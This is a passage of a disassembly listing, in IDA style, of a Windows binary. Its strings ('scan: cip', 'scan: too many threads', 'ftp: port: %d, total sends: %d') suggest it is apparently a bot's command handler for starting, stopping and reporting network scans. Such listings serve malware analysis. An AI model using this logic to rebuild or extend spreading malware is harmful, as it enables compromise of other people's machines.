I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F8B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB50[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8370 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44964F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445420 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445420 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, off_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5FADE9 mov eax, dword_445420 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445428 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5FADE9 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx call near ptr 77C47920h nop mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5FADE9 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445420 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445420 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4230BF jmp short loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, 